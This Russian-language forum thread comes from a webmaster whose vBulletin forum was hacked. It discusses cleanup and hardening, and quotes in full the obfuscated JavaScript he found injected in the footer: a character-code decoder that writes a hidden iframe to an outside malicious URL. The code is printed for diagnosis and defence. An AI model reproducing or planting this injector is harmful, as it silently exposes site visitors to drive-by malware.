Ну, ясное дело, что не все права на файлы и каталоги выставлены верно (переезд с Cpanel на ISP) + масса других моих недосмотров по нехватке времени. Это все лирика.

А вот результат - KIS2010 орет, что

Обнаружена угроза:
объект заражен HEUR:Trojan.Script.Iframer

Тоже, в принципе, ничего уж супернеобычного, сам виноват, как говорится. Но чистить-то надо?

При проверке выяснилось, что форум заражен, а вот интегрированная с ним DLE - чиста. Значит, копать надо форум.

Перерыл весь инет, нашел кучу примеров кода этой дряни, но совпадения ни по основным факторам (script, document.write) в файлах нет. В базе тоже не нашел.

Есть идеи, что можно еще сделать в сложившейся ситуевине?

Заранее премного благодарен

Gostemilov добавил 23.07.2010 в 17:28
Нашел.

PHP Code:

<SCRIPT LANGUAGE="JavaScript">
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!110!97!109!101!61!34!83!116!97!116!80!97!103!101!49!34!32!115!114!99!61!34!104!116!116!112!58!47!47!119!119!119!46!98!101!115!116!97!107!114!101!122!46!99!111!109!47!106!101!51!119!47!105!98!54!107!52!49!54!106!109!46!112!104!112!63!115!61!102!55!57!53!50!97!102!100!48!53!48!54!57!51!102!50!102!52!56!101!53!98!48!51!101!48!101!98!57!98!49!100!34!32!119!105!100!116!104!61!53!32!104!101!105!103!104!116!61!53!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!73!70!82!65!77!69!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//-->
</SCRIPT><SCRIPT LANGUAGE="JavaScript">
<!--
Decode();
//-->
</SCRIPT> 


Но зато нашел в футере. Стало быть взломана база. У меня сейачс мозг уже кипит, не сомневаюсь, что тут есть отличная статья по дополнительной защите форума, где-то видел... Дайте ссылку, пожалуйста, а?

Originally Posted by Gostemilov

что тут есть отличная статья по дополнительной защите форума, где-то видел...

Да тут не форум нужно защищать, а админа, а в частности, пароли от ФТП, админки и БД форума.

Стоит 10-й KIS, так что скорее всего пасс тривиально сбрутили. FTP - цел мускул - не устоял. Ну, поставил хороший 20 знаковый пасс, посмотрим...

Originally Posted by Gostemilov

Стоит 10-й KIS, так что скорее всего пасс тривиально сбрутили.

Не стоит быть настолько уверенным в KIS, да и вообще в любом антивирусе. Скорее всего, что пароль(и) у Вас просто увели примитивным криптованым трояном с флэшки или еще откуда-нибудь, которые Вы хранили на ПК. = )

Gostemilov, проверьте index.html/php и .js файлы в конце. Старайтесь не хранить пароли в ftp-клиентах, особенно в TC. ;)

в ТС начиная с версии 7.50 пароли можно закрыть master-паролем, шифрование AES.

В Total Commander ничего не храню, поскольку юзаю CuteFTP. А в нем нет паролей на доступ к базе.

Вчера долго курил логи (пока курил, ломали раз 5, если не больше), по результатам закрыл админку и переименованием, и htaccess и 444 по SSH на все, и снес пару скриптов, которые вызывали глубокие сомнения, судя по прорве ерроров в логе. Ну вот часов 12 уж вроде полет нормальный. Похоже, вломав один из сторонних скриптов этот гаврик залил на сервер шелл со всеми вытекающими. А я снес и и скрипт и шелл. Тоже с вытекающими. Если в ближайшие пару суток все будет ОК - буду курить эти скрипты.

Originally Posted by Gostemilov

и 444 по SSH на все

на всё - не надо. как минимум, каталоги должны иметь право выполнения, ибо их открытие - есть выполнение; и clientscript/vbulletin_css/ должен иметь права на запись веб-сервером (т.е chown владелец_процесса_php && chmod u+w). а вот для other (третий октет) - вообще читать не обязательно, если юзера и группу файла правильно назначить..